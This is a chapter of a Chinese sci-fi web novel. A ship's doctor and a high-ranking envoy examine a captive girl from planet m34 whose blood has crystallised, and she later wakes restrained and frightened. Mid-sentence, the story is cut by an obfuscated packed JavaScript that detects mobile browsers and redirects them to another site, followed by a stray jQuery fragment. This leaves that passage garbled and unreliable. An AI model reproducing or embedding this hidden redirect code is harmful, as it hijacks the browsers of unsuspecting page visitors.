11. 实验体

作品:《银河大审判:隐秘和鸣

    干净无尘的实验舱,一道温和的暖黄色光打在舱内,照亮了整个空间。


    实验舱内一个光洁无暇的操作床上,一个女孩正坐在床头。她依靠着墙壁,双膝绻起,双手捂着自己的头。


    她的眼睛大大地睁着,但却双目无神,眼白部分已经干涩肿胀到布满血丝,乌泱泱的黑瞳此刻显得十分空洞。


    她身上穿着一件洁白的病号服,特殊的胶质绷带从裸露的脖颈处延伸进她的领子内。她的双脚赤裸着,脚踝上还绑着一个银质脚环。


    脚环的一侧闪着淡蓝色光,光穿透过她薄薄的肌肤监测着她的身体数据。


    在实验舱的外面一侧,是一间更加宽阔的监控室。


    只有两个人。


    晖是这总舰队上分派下来的医生。


    他原本还沉浸在另一个行星上搜集到的毒株的研究当中,被上面的人紧急调到了夜鸣号上待队。


    据说是主舰有位大人指定他去的。至于是谁,他想他现在眼前这位就是。


    “使徒大人,目前她的情况已经比较稳定。她只有胸口的撕裂伤比较致命,但我打了一针生长菌凝剂,只要修养段时间,她的伤口就能恢复。”


    “只是她虽然也是人类,但和我们常规人类的体质还是有差异的,生长菌还要一段时间适应,所以她的恢复进度会比常人慢得多。”


    诺为负手站在立体投屏仪前,上面投射着那个女孩呆若木鸡的面孔。


    晖看出了他的疑惑:“哦,她变成这样只是暂时的。我在给她治疗的时候注射了一点罗氟宁。”


    罗氟宁是联邦常用的一种医用麻醉物,这物质适用于大多数碳基生物,持久且有效。


    “我已经减到很小的剂量了,可是他们m34上可怜的人类体质这么差,还是出现了一点点小意外。”


    但晖觉得不是什么大事,这个m34女孩应该是使徒大人带回来的实验体,他下手就算偏重了一点也没什么。


    “那她什么时候能清醒过来?”使徒大人总算开口说话了。


    晖信誓旦旦:“使徒大人您放心,我敢保证她两个小时左右就能醒来——这点罗氟宁也不会对她的身体造成什么太大危害。也不会耽误您的雅兴的。嘿嘿嘿······”


    诺为和这位医生不熟,但是听闻他在病毒和神经学颇有见解,就顺便把他招揽过来了。


    只是这声“嘿嘿”实在令他不适,他一时也想不出这位医生的“嘿嘿”代表什么。


    “我的雅兴?你知道我要做什么吗?”


    诺为只是疑问,没多余的意思,但是从他冷峻的表情和冷漠的语气中说出来,就不得不令听者觉得难以捉摸了。


    晖只是开个玩笑,没想到自己是触到了这位使徒大人的哪根神经。


    他心底警铃作响。


    “使徒大人见谅,我是个俗人,我只是开个玩笑,我看这个女孩有些姿色,使徒大人可能会有点兴趣,额······呸呸呸,此等卑贱的人怎么能入得了您的眼呢,是我粗陋了,居然会冒出这些肮脏的思想。呸呸呸······”


    晖瞧着这使徒大人未对他的胡话有所反应。嗯?不对劲,难道真被他说中了。


    啧啧啧,早有耳闻这些联邦的贵族们荤腥不忌,玩得肮脏,不管什么种族的,都有受众。


    看来还真有其事。他无脑开的玩笑没想到还真被他歪打正着了。


    他心里为这个实验体默哀一秒钟,虽然出生在这个小小的荒星已经够悲惨了,要是被这些贵族们再看上了,凭她这个出身,那后果不敢想。


    晖似乎发现了什么不可思议的事,他尽量维持住自己的表情,一定要绷住,要不然他这条小命就不保了。


    诺为能敏锐地察觉到旁边人的变化。


    暂且先不说那一脸紧绷僵硬的神情,以及那莫名其妙偷瞄他的眼神,这位医生突然变得红温的磁场在他的“眼”里更是尤为明显。


    诺为对他的变化感到不解但也不怎么关心,就任由他去了。


    “你发现到什么异常没有。”


    “异常,肯定有!她体内有一些奇怪的物质存在。”


    诺为负着的手动了一下,他没有告诉医生任何线索,他想看看以这医生的水平能不能猜测出猩红的存在。


    “刚才我就一直在琢磨那是什么。我抽了一管血出来,但是——”


    他向诺为展示,试剂管中的血液凝固成了不完全的晶体状,红色的半透明晶体带有些许的红色液体。


    “我怀疑是我们舰上气体环境和m34不同导致这管血液变成这样。我已经叫我学生去采集气体了,等会我再进行测试。”


    “血液变成这样有什么影响吗?”


    “按理说我们体内的血液是承载着许多生物信息的,但那也要是‘活着’的血液才行。”


    活着的,这个说法挺新鲜。


    晖继续解释:“当然了,这个说法是我刚刚才想出来的。人类的基因无论变成什么样都是能检测出来的,血液也是,无论变成固态、液态还是什么态我都有办法能弄清楚其中蕴含的基因密码。”


    他晃了晃试剂管,晶体状的血液很轻易地就碎成了几块,他加大力度再度摇晃,碎块的晶体就变成了粉末。


    “但是,这管样品,在我抽出来不久后就开始晶体化,变成了非常规固态血液的相似物,我想从这上面检测任何血液携带的生物信息,例如酸碱度、基因、菌群等等。可却一概检测不到。它的微观结构就像是低密度金属一类的,我从未遇到过这种情况。”


    他按了按眉心,很是困惑:“就在刚刚我想到了一个恰当的比喻,她的血液像是‘死亡’了。在生物的常规死亡之后的下一层死亡。”


    晖摊手:“我目前只能勉强解释到这个程度了,我还要时间继续观察。”


    血液死亡这种情况也是诺为第一次听说,那如此看来猩红病毒作用在联邦人类和m34人类身上产生了不一样的效果。


    恐怕要想继续深究,就得从两星人类的基因比对开始了。


    “滴滴——”医生按了一下自己的耳后,眼前投出来片小小的方形蓝光。


    那是联邦的科技,基于数据流传输体系开发的联络工具。他的学生给他传输讯息,他们已经采样回来了。


    晖要过去接应他的学生,向诺为辞别。


    “我的名字是诺为,以后不必称呼我使徒大人。”


    晖愣了一下,反应过来,“好的,诺为先生。”


    ······


    拜拜,老爹。


    阿星发觉那刺眼的白光在渐渐变弱,逐渐被一道暖黄色的光取代。


    她的眼睛干涩难忍,她用力闭了闭眼,缓解了一点眼痛。


    当她再睁开眼,她只见到——


    三四个人围在她旁边看着她,什么情况这是?


    她闭上眼,想揉揉眼睛,但是手使不上劲儿。她再度睁开眼,视线更加清晰了——


    那个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15085969|163521||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    银发男?她印象十分深刻,意识瞬间一下如潮水般回来了。


    她感受到手上传来刺痛,那是什么?


    他们在干什么!只见针管一样的东西吃尽了她的手臂,她全身无法动弹。


    她只能眼睁睁看着他们拿着针管抽走了她的血液。


    那几个人在交谈,在说着她听不懂的话。但结合其中一个人举起的注射器,她大概猜到,他们是看到她醒了又要麻痹她吧。


    阿星感到一股惊慌无措带来的心悸,她的身体再发出警告。她想逃离,可是她全身上下能动的可能只有眼睛。


    那人的注射器在接近她,深深的绝望弥漫上心头,人最害怕的时候,莫过于此时此刻,未知,令人绝望的未知。


    不知道是谁又说了一句话,她依然不明白。


    但是那个举着注射器的手停下了,他们似乎改变了主意,不打算继续给她注射那东西了。


    此时另一边的人也刚好抽完血。


    然后他们又交谈着什么,便纷纷从她的视线中离开了。


    只余下暖黄色的灯光。虽说是灯光,但她看不到灯在哪儿,明明没有灯,为什么这个天花板会这么亮······


    她现在身处何处呢。


    之前那个银发男也在和她抢猩红来着对吧。


    她怀疑是因为她吞下猩红病毒,那个银发男出于报复把她捉来做人体实验了。


    没想到她居然还活了下来——


    不一定,也可能她已经变异成面目全非的怪物了。


    也许在他们看来,他们只是在对一只怪物在做实验吧。


    已经变成怪物了······


    阿星的眼皮逐渐耷拉下去,挤走眼眶里打转的水雾。一滴眼泪顺着她的眼角流了下来,但她没有知觉,感觉不到自己在流泪。她只觉得眼前的雾气真浓重。


    “为何而哭?”


    咦!谁在和她说话,她听到了这句话。


    那个银发男再度出现在她氤氲的视线里,那人低着头,似乎对她动了什么手脚。


    她的手能活动了。起先只是手腕上感受到了冰凉的触感,那柔软的触感若即若离,她还来不及感受便很快消散。


    视线里,银发男的影子逐渐清晰,他手中正拿着一个注射器,但和刚刚那个有所不同,阿星注意到了,里面的流动物质的颜色不同。


    那注射器内一半的东西被注射进到了她体内。


    不到一分钟,她的手臂和上半身的知觉慢慢复苏了,虽然还有细密的麻痹带来刺痛感,但总归是好的,至少她能感觉到自己的身体了。


    再过了半分钟,她终于能慢慢地坐起来,僵硬的身躯和不灵活的四肢,使得她爬起来的动作有些狼狈和滑稽。


    她能清晰地感受到那一道视线,一直锁定着她。


    她会为此而感到害羞,那是不可能的。


    那道凛冽的目光,蕴藏着令她不安的危险,似乎连她周身的空气都遇冷缩紧了。


    她费劲地坐起来,也不清楚自己背后靠着的是墙壁还是什么,冷冰冰的。


    也不清楚自己的姿势有没有让身上陌生的衣物覆盖好它应该覆盖住的地方。


    她终于看清那银发男的脸,他的眼神没有产生变化。要么说明她没有走光,要么就说明他没把眼睛放在不该放的地方。


    看这架势,要审问还是谈判吗?


    她现在处于劣势,对她可不怎么公平呢。


    ······